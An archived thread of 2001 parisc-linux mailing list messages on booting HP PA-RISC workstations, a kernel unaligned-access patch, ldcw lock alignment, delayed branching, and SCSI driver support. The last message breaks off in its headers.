In general, questions like this will get better answers from
the parisc-linux mailing list - see http://lists.parisc-linux.org/.

I'll take a first whack at it though.

"Bryan W. Headley" wrote:
> Grant,
> 
>                 Am still having issues getting my poor C110 to boot up. 
> Doesn't read the   boot CDROM worth a darn even after I "palo" the iso 
> image -- which is probably not necessary, but what the hey?

The ISO image you downloaded has palo in it. Running palo with the
ISO image is either going to fail (best case, do no harm) or trash
the ISO image (worst case). I would guess the latter.
Make sure the md5sum output for the ISO image matches what's posted
on the website you got the ISO from.

> When I rboot 
> the lifimage, it doesn't seem willing to send the console to the serial 
> port nor is it willing to put stuff on the console, either.

When booting, answer Y to "interact with IPL" question with yes.
You have "manually" boot from the PDC prompt (aka BOOT_ADMIN prompt)
in order to get that question.

Then you can verify "console=ttyS0" parameter is set.
Disconnecting the keyboard should force the console output
to the serial port.

Oh - and several workstations may have issues with serial port numbering.
Ie what's labeled port A on the back may be seen as ttyS1 by parisc-linux.
Some of that has been fixed with newer kernels.
You would need to build a newer kernel and boot it via bootp.
This isn't as simple as it sounds...perhaps wait until a new
ISO is published.

> Anyway, it tries to boot (silently) and does things with the hard disks 
> (I know not what), but...
> 
> The drives are hanging off of a FWSCSI controller. I'm right in thinking 
> that the support for that is still not there, right?

In general the SCSI driver for Zalon works. The problem is with
IO MMU support for devices below anything other than the first IO MMU.

> I'm wondering if I 
> should go through the old Mach4 source and try to glom over the FW 
> support... Whose toes do I step on if I try to do that; who should I 
> handshake with?

I dunno. I've only looked at the mach sources once for 712 stuff.

> If you know a good "secret handshake" command to give at the iplboot to 
> make the kernel send it's console messages to to STI or ttyS0, that'd be 
> appreciated.

It's not secret - search for "console=" in the mail archives.


> Oh, and I upped the puppy to 256 Mb, but I doubt that confuses it too 
> much (eek! The memory map is not floating to the "last 32K" or 
> something, is it?)

no. 256MB isn't that much at all. I'm running 2GB in my c3k
and once had as much as 4GB in the c3k.

> I get this puppy up, I get to bring up the 735/99, and then figure out 
> what HP means, we can use STI to be the basis of the X driver...

XF86 is mostly working for B180 and 712's from reports on p-l mailing list.
If you have Vis-EG (normal built-in) graphics, it might work for
C110 as well since it's not using IO MMU (afaik).

grant




From - Thu Nov 08 21:19:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] kernel-mode unaligned handler
Date: Tue, 2 Oct 2001 23:09:22 -0700
Lines: 155
Approved: news@gmane.org
Message-ID: <20011002230922.B12252@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620559 26921 80.91.229.3 (22 Nov 2014 01:42:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 00:09:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id E917C482A
	for <parisc-linux@parisc-linux.org>; Wed,  3 Oct 2001 00:09:29 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.4d3e3a24) with ESMTP id cysxhaaa for parisc-linux@parisc-linux.org; Tue, 2 Oct 2001 23:04:53 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15ofDe-0003KC-00; Tue, 02 Oct 2001 23:09:22 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12434

With some nudging and help from willy I looked into enabling kernel-mode
unaligned access handling.... the attached patch seems to work; if it
doesn't look wrong to anybody i'll check it in... :)

tested on a c3k running a 64-bit kernel... for kernel space I tried
"nmap -O localhost" and that works ok now.

Comments appreciated,
randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


Index: unaligned.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/unaligned.c,v
retrieving revision 1.7
diff -u -r1.7 unaligned.c
--- unaligned.c	2001/07/14 21:17:02	1.7
+++ unaligned.c	2001/10/03 06:00:11
@@ -129,8 +129,10 @@
 		regs->isr, regs->ior, toreg, len);
 
 	__asm__ __volatile__  (
+"       mfsp %%sr1, %%r20\n"
+"       mtsp %6, %%sr1\n"
 "	copy %%r0, %0\n"
-"0:	ldbs,ma	1(%%sr3, %4), %%r19\n"
+"0:	ldbs,ma	1(%%sr1,%4), %%r19\n"
 "	addi -1, %5, %5\n"
 "	cmpib,>= 0, %5, 2f\n"
 "	or %%r19, %0, %0\n"
@@ -143,8 +145,7 @@
 #endif
 	
 "1:	ldi	10, %1\n"
-"2:\n"
-
+"2:     mtsp %%r20, %%sr1\n"
 "	.section __ex_table,\"a\"\n"
 #ifdef __LP64__
 	".dword 0b, (1b-0b)\n"
@@ -153,8 +154,8 @@
 #endif
 	".previous\n" 
 	: "=r" (val), "=r" (ret)
-	: "0" (val), "1" (ret), "r" (saddr), "r" (len)
-	: "r19" );
+	: "0" (val), "1" (ret), "r" (saddr), "r" (len), "r" (regs->isr)
+	: "r19", "r20" );
 
 	DPRINTF("val = 0x" RFMT "\n", val);
 
@@ -184,12 +185,14 @@
 
 
 	__asm__ __volatile__ (
+"       mfsp %%sr1, %%r20\n"		/* save sr1 */
+"       mtsp %5, %%sr1\n"
 #ifdef __LP64__
 "0:	extrd,u %2, 7, 8, %%r19\n"
 #else
 "0:	extrw,u %2, 7, 8, %%r19\n"
 #endif
-"1:	stb,ma %%r19, 1(%%sr3, %3)\n"
+"1:	stb,ma %%r19, 1(%%sr1, %3)\n"
 "	addi -1, %4, %4\n"
 "	cmpib,>= 0, %4, 3f\n"
 	
@@ -203,7 +206,7 @@
 "	nop\n"
 
 "2:	ldi 11, %0\n"
-"3:\n"
+"3:     mtsp %%r20, %%sr1\n"
 "	.section __ex_table,\"a\"\n"
 #ifdef __LP64__
 	".dword 1b, (2b-1b)\n"
@@ -212,8 +215,8 @@
 #endif
 	".previous\n" 
 	: "=r" (ret)
-	: "0" (ret), "r" (val), "r" (regs->ior), "r" (len)
-	: "r19" );
+	: "0" (ret), "r" (val), "r" (regs->ior), "r" (len), "r" (regs->isr)
+	: "r19", "r20" );
 
 	return ret;
 }
@@ -233,7 +236,6 @@
 	 */
 	if (!user_mode(regs))
 	{
-#if 0 /* TODO: do we want to handle this? */
 		const struct exception_table_entry *fix;
 
 		/* see if the offending code have its own
@@ -257,25 +259,26 @@
 
 			return;
 		}
-#endif
-		die_if_kernel("Unaligned data reference", regs, 28);
 	}
 
 	/* log a message with pacing */
-	if (unaligned_count > 5 && jiffies - last_time > 5*HZ)
+	if (user_mode(regs))
 	{
-		unaligned_count = 0;
-		last_time = jiffies;
-	}
-	if (++unaligned_count < 5)
-	{
-		char buf[256];
-		sprintf(buf, "%s(%d): unaligned access to 0x" RFMT " at ip=0x" RFMT "\n",
-			current->comm, current->pid, regs->ior, regs->iaoq[0]);
-		printk(KERN_WARNING "%s", buf);
+		if (unaligned_count > 5 && jiffies - last_time > 5*HZ)
+		{
+			unaligned_count = 0;
+			last_time = jiffies;
+		}
+		if (++unaligned_count < 5)
+		{
+			char buf[256];
+			sprintf(buf, "%s(%d): unaligned access to 0x" RFMT " at ip=0x" RFMT "\n",
+				current->comm, current->pid, regs->ior, regs->iaoq[0]);
+			printk(KERN_WARNING "%s", buf);
 #ifdef DEBUG_UNALIGNED
-		show_regs(regs);
-#endif	
+			show_regs(regs);
+#endif		
+		}
 	}
 
 	/* TODO: make this cleaner... */
@@ -363,7 +366,9 @@
 
 	if (ret)
 	{
-		printk(KERN_CRIT "Unaligned handler failed, ret = %d ", ret);
+		printk(KERN_CRIT "Unaligned handler failed, ret = %d\n", ret);
+		die_if_kernel("Unaligned data reference", regs, 28);
+
 		/* couldn't handle it ... */
 		si.si_signo = SIGBUS;
 		si.si_errno = 0;




From - Thu Nov 08 21:19:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PCXS fixes
Date: Wed, 3 Oct 2001 02:32:54 -0600 (MDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <200110030832.CAA10917@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620559 26926 80.91.229.3 (22 Nov 2014 01:42:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 02:32:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 355394854
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 02:32:55 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP id D3ED51F7A7
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 04:30:52 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id CAA10917
	for parisc-linux@lists.parisc-linux.org; Wed, 3 Oct 2001 02:32:54 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12435

I just committed some PCXS fixes, some of which were based on the ideas
posted here in the last week or so for 720 support.  One new fix is that I
program the Asp interrupts correctly, fixing a bug which was preventing
710's from booting (I think there is at least one person on this list
with such a machine).

However, ls still hangs randomly (actually it is not random, it depends on
which directory the ls is done in).  It gets stuck in a ldcw loop due to
the lock word not being 16 byte aligned.  The problem is that we fixed the
alignment problems for static and dynamic allocations, but the align
attribute is ignored for automatic (stack) allocations. Note that
although ldcw requires 16 byte alignment for correct function, it does
not cause an unaligned fault if the address is not aligned, it just
doesn't work correctly!

Here are some suggested fixes:

    1) Fix the compiler to honor the aligned attribute for stack
    allocations. I'm not sure how difficult this would be. I'm
    not a compiler person, so someone else would have to do this.
    I would guess that this problem is in the machine independent
    part of the compiler. I'm not sure whether or not it would
    be considered a bug. It might be worth writing a test for
    the 386 version of gcc, and if it fails, report the "bug" and
    see what happens ...

    2) Change the lock structure to have 4 contiguous lock words, each
    initialized to 1.  Then the lock code can round the address up to the
    nearest 16 byte aligned address and use that for the semaphore.  If we
    choose this solution we can just get rid of the aligned attribute,
    since it would no longer serve any purpose.


John Marvin
jsm@fc.hp.com




From - Thu Nov 08 21:19:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mount segfaults and stuff
Date: Wed, 03 Oct 2001 04:42:35 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <200110030842.EAA14939@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620559 26929 80.91.229.3 (22 Nov 2014 01:42:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 02:42:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id C22FE4848
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 02:42:50 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id EAA14939
	for <parisc-linux@lists.parisc-linux.org>; Wed, 3 Oct 2001 04:42:35 -0400
Content-ID: <14934.1002098555.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12436

> *sigh*. Lots of little stuff like floppy driver and hpux binary support.
> 
> The TODO list is stale intentionally.
> We should be using http://bugs.parisc-linux.org.
> 
> grant

Hi!

The problem is that this bug list is also rather outdated. There are
two more or less recent bugs, others are more than 2 months old. Most
kernel bugs are filed against 2.4.0 kernel. I guess, a lot of things
changed since then. For example, mount bug, that I've mentioned before
just disappeared, once I recompiled it from source with latest CVS gcc.
Also, bug #135 (kernel panic on 712 doing two simultaneous compiles) - 
yesterday I've built the kernel with "make -j 2" without any problems
on a 712/80. Is it enough to close this bug? IMHO, the right strategy
in this situation would be to try and reproduce the bugs with latest
toolchain and drop the bugs, which do not have a recipe to reproduce them.

Anyway, what should I do with mount? Do I have to contact the package
maintainer? I can build the debs myself, but those will be unofficial.

Also, last night I had some weird problems with linux/net/core/netfilter.c
Sometimes its compilation fails, but I could not pinpoint the problem
so far. I'll play with it, but it would be nice to know, if anyone
else has/had any (negative) experiences with this file.

Best regards,

Jurij.







From - Thu Nov 08 21:19:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Second Draft of the help for the kernel options
Date: Wed, 03 Oct 2001 10:57:08 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3BBAD2E4.3E802263@esiee.fr>
References: <200110021732.LAA07808@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620560 26934 80.91.229.3 (22 Nov 2014 01:42:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:40 +0000 (UTC)
Cc: Bjorn Helgaas <bjorn_helgaas@hp.com>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 03:02:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 571D14869
	for <parisc-linux@parisc-linux.org>; Wed,  3 Oct 2001 03:02:54 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 1E0F9D15B3; Wed,  3 Oct 2001 11:02:51 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12437

Hi all,

	The Bjorn's idea is quite practical but the problem is we need to do a
complete list of command. With this list, users will know what commands
to do to get the cpu type...

	For the B132L, I need to do in cr. And for 712, "in" do not give you
the model of the cpu :(

Perhaps, we could a more general text saying:   1- You have to enter the
information menu by "in" (it seems to be general to all boxes)
						2- Here you need to find the command to get the revisions of your
chip/device. This must look like PAXXX0. For example this command is cr
for B132 and io for newer machines.

btw, we could add the complete list of the commands in the HOWTO.

This is a proposition. Tell me what you think of it. Thomas.
ESIEE Team

> >   Main Menu: Enter command or menu > in fru
> 
> For newer machines, "in io" at "Main Menu" prompt will list all IO devices.




From - Thu Nov 08 21:19:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Delayed branching explanation
Date: Wed, 3 Oct 2001 04:04:31 -0600 (MDT)
Lines: 138
Approved: news@gmane.org
Message-ID: <200110031004.EAA15528@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620560 26936 80.91.229.3 (22 Nov 2014 01:42:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@pflash.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 04:04:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 385C44881
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 04:04:33 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 4692A1F7A5; Wed,  3 Oct 2001 06:04:32 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id EAA15528;
	Wed, 3 Oct 2001 04:04:31 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12438

> What I was concerned about was the chance that the instruction addressed
> by iaoq[1] was a branch (or taken conditional branch) instruction.  With
> the
> discription given in the documentation, then the queue state returned would
> have to be:
>
> regs->iaoq[0] == branch instruction address
> regs->iaoq[1] == target instruction address
>

No, you are forgetting about the delay slot.  The documentation is
correct, although the concept can be confusing at first.  Branches to a
target don't happen immediately, they happen after the instruction
following the branch is executed (that instruction is referred to as the
"delay slot instruction").

I'll try to explain it here. Perhaps I can explain it clearer than how
the parisc documentation explains it (then again, perhaps not :-)).

For the purposes of this explanation I am only going to consider
unconditional branches.  I am also not going to talk about the space
queue, since once you understand the operation of the offset queue, the
operation of the space queue follows fairly easily.  Also, I am going to
use "pc" (for program counter) instead of "iaoq" (for instruction address
offset queue) for easy comparison.

For comparison, let us first consider most other architectures without
delayed branching. Because they don't have delayed branching they don't
need a pc queue. So, when an instruction causes some type of fault
we have:

	pc -> faulting instruction

If we are going to emulate the faulting instruction we need to advance
the pc after the emulation, i.e. do exactly what the cpu would have
done if it had executed the instruction. If the instruction was
not a branch we would simply do:

	pc += 4

If the instruction was a branch we would do:

	pc = target of branch

On parisc, with delayed branching, we need a 2 element queue in order
to implement a 1 instruction branch delay. So, when an instruction
faults we have:

	pc[0] -> faulting instruction
	pc[1] -> next instruction to execute

pc[1] above might be equal to pc[0] + 4, but it could be something
else (it depends on whether the instruction before the faulting
instruction was a branch or not). We don't really care at this point.

If the faulting instruction is not a branch we would simply do the
following to advance the queue:

	pc[0] = pc[1]
	pc[1] += 4;

If the faulting instruction is a branch (make sure you understand
this, because it explains how a branch on parisc works) we would
do the following to advance the queue:

	pc[0] = pc[1]
	pc[1] = target of branch

i.e. the target doesn't take effect immediately, the instruction
that is now pointed to by pc[0] is executed first.

So, consider the example that was quoted above, regarding a branch being
pointed to by pc[1] when we fault.  This doesn't make a difference on how
we advance the queue.  If the instruction pointed to by pc[0] (when the
fault occurs) is not a branch, what pc[1] points to -- whether or not it is
a branch -- does not make any difference, because it has not been executed
yet.  So for example, following the explanation above, we have:

	pc[0] -> faulting instruction (non branch, e.g. mfctl)
	pc[1] -> branch instruction

When we advance the queue, according to the non branch algorithm
we get:

	pc[0] -> branch instruction
	pc[1] -> branch instruction + 4 (i.e. delay slot of branch)

When the branch instruction executes next, it does not overwrite
pc[1] without first advancing what was in pc[1] to pc[0], i.e. the
instruction following the branch gets executed before we move to
the target instruction.

Have I made things clearer or fuzzier here?

John

P.S. For extra credit, see if you can follow this:

Consider what happens if we have a branch in the delay slot of
another branch (note that in this example, neither target is
a branch), i.e:

    pc[0] -> branch1 to target1
    pc[1] -> branch2 to target2

After the first branch is executed we have:

    pc[0] -> branch2 to target2
    pc[1] -> target1

After the second branch is executed we have:

    pc[0] -> target1
    pc[1] -> target2

One more step:

    pc[0] -> target2
    pc[1] -> target2 + 4

the "cool" thing about the above sequence is that the instruction at
target1 gets executed, and then immediately we jump somewhere else, i.e.
we can execute one instruction somewhere and then immediately go somewhere
else (without having a branch at target1).  If you follow this example,
then you really understand delayed branching.

Note that the above example is the whole reason we must have a "B" bit in
the PSW (processor status word).  The B bit is set by any taken branch,
and is cleared by any other instruction.  The "gate" instruction, which is
used for privilege promotion, will fault if the B bit is set when the gate
instruction is executed.  The reason is that even though the gate
instruction can only be located on a execute only page (i.e. you can't
change the instruction sequence), you could use the above trick to execute
only the gate instruction and then return to your own code with increased
privilege if the "B" bit didn't exist.




From - Thu Nov 08 21:19:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Buttafuoco" <jim@buttafuoco.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCXS fixes
Date: Wed, 3 Oct 2001 07:58:17 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <200110031158.f93BwH402719@dual.buttafuoco.net>
Reply-To: jim@buttafuoco.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416620560 26939 80.91.229.3 (22 Nov 2014 01:42:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:40 +0000 (UTC)
To: John Marvin <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 05:58:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dual.buttafuoco.net (vsat-148-63-214-126.c3.sb4.mrt.starband.net [148.63.214.126])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6EF084869
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 05:58:20 -0600 (MDT)
Original-Received: (from nobody@localhost)
	by dual.buttafuoco.net (8.11.2/8.11.2) id f93BwH402719;
	Wed, 3 Oct 2001 07:58:17 -0400
X-Mailer: NeoMail 1.24 (jim)
X-IPAddress: 127.0.0.1
Xref: news.gmane.org gmane.linux.ports.parisc:12439

John,

I have a couple of 710's and would love to test if you can provide me 
with a kernel to net boot from.

Jim


> I just committed some PCXS fixes, some of which were based on the 
ideas
> posted here in the last week or so for 720 support.  One new fix is 
that I
> program the Asp interrupts correctly, fixing a bug which was 
preventing
> 710's from booting (I think there is at least one person on this list
> with such a machine).
> 
> However, ls still hangs randomly (actually it is not random, it 
depends on
> which directory the ls is done in).  It gets stuck in a ldcw loop due 
to
> the lock word not being 16 byte aligned.  The problem is that we 
fixed the
> alignment problems for static and dynamic allocations, but the align
> attribute is ignored for automatic (stack) allocations. Note that
> although ldcw requires 16 byte alignment for correct function, it does
> not cause an unaligned fault if the address is not aligned, it just
> doesn't work correctly!
> 
> Here are some suggested fixes:
> 
>     1) Fix the compiler to honor the aligned attribute for stack
>     allocations. I'm not sure how difficult this would be. I'm
>     not a compiler person, so someone else would have to do this.
>     I would guess that this problem is in the machine independent
>     part of the compiler. I'm not sure whether or not it would
>     be considered a bug. It might be worth writing a test for
>     the 386 version of gcc, and if it fails, report the "bug" and
>     see what happens ...
> 
>     2) Change the lock structure to have 4 contiguous lock words, each
>     initialized to 1.  Then the lock code can round the address up to 
the
>     nearest 16 byte aligned address and use that for the semaphore.  
If we
>     choose this solution we can just get rid of the aligned attribute,
>     since it would no longer serve any purpose.
> 
> 
> John Marvin
> jsm@fc.hp.com
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 
> 






From - Thu Nov 08 21:19:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hamish Moffatt <hamish@cloud.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW SCSI on the D350
Date: Wed, 3 Oct 2001 22:20:29 +1000
Lines: 27
Approved: news@gmane.org
Message-ID: <20011003222029.B6451@silly.cloud.net.au>
References: <hamish@cloud.net.au> <20010928001354.A1519@silly.cloud.net.au> <200109280541.XAA27408@puffin.external.hp.com> <20010928010518.A12507@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620561 26942 80.91.229.3 (22 Nov 2014 01:42:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:41 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 06:21:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from silly.cloud.net.au (co3002322-a.eburwd1.vic.optushome.com.au [203.164.64.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 164754869
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 06:20:58 -0600 (MDT)
Original-Received: from hamish by silly.cloud.net.au with local (Exim 3.12 #1 (Debian))
	id 15ol0n-0001nd-00; Wed, 03 Oct 2001 22:20:29 +1000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010928010518.A12507@beavis.ybsoft.com>; from rbradetich@uswest.net on Fri, Sep 28, 2001 at 01:05:18AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12440

On Fri, Sep 28, 2001 at 01:05:18AM -0600, Ryan Bradetich wrote:
> > Hamish Moffatt wrote:
> > > I'm trying to install the 0.9 release on a D350 server. The kernel
> > > recognises the standard SCSI, using the lasi7xxx driver, and finds
> > > the tape drive and the CD-ROM on that host. However, it doesn't
> > > find the Bluefish fast/wide SCSI host, so it doesn't find the
> > > four internal hard disks, which makes installation a little tough.
> 
> You need a newer kernel, and you should be able to see the SCSI
> card.  I'm not sure which -pa?? kernel, so just grab CVS head and
> that should be sufficient.

I got 2.4.9-pa30 from CVS and booted it up, and it found the Bluefish
card and the four SCSI drives. Neat! Thanks!

Unfortunately I stuffed up something else, and it couldn't load the
RAM disk, so I haven't been able to actually install it yet. But
it looks promising.


regards,
Hamish
-- 
Hamish Moffatt VK3SB <hamish@debian.org> <hamish@cloud.net.au>




From - Thu Nov 08 21:19:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] Diff for PCXS fixes
Date: Wed, 3 Oct 2001 07:56:05 -0600 (MDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200110031356.HAA27501@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620561 26945 80.91.229.3 (22 Nov 2014 01:42:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  3 07:56:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2D7548C1
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 07:56:06 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id 8CE8844C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Oct 2001 09:56:05 -0400 (EDT)
Original-Received: (from jsm@localhost)
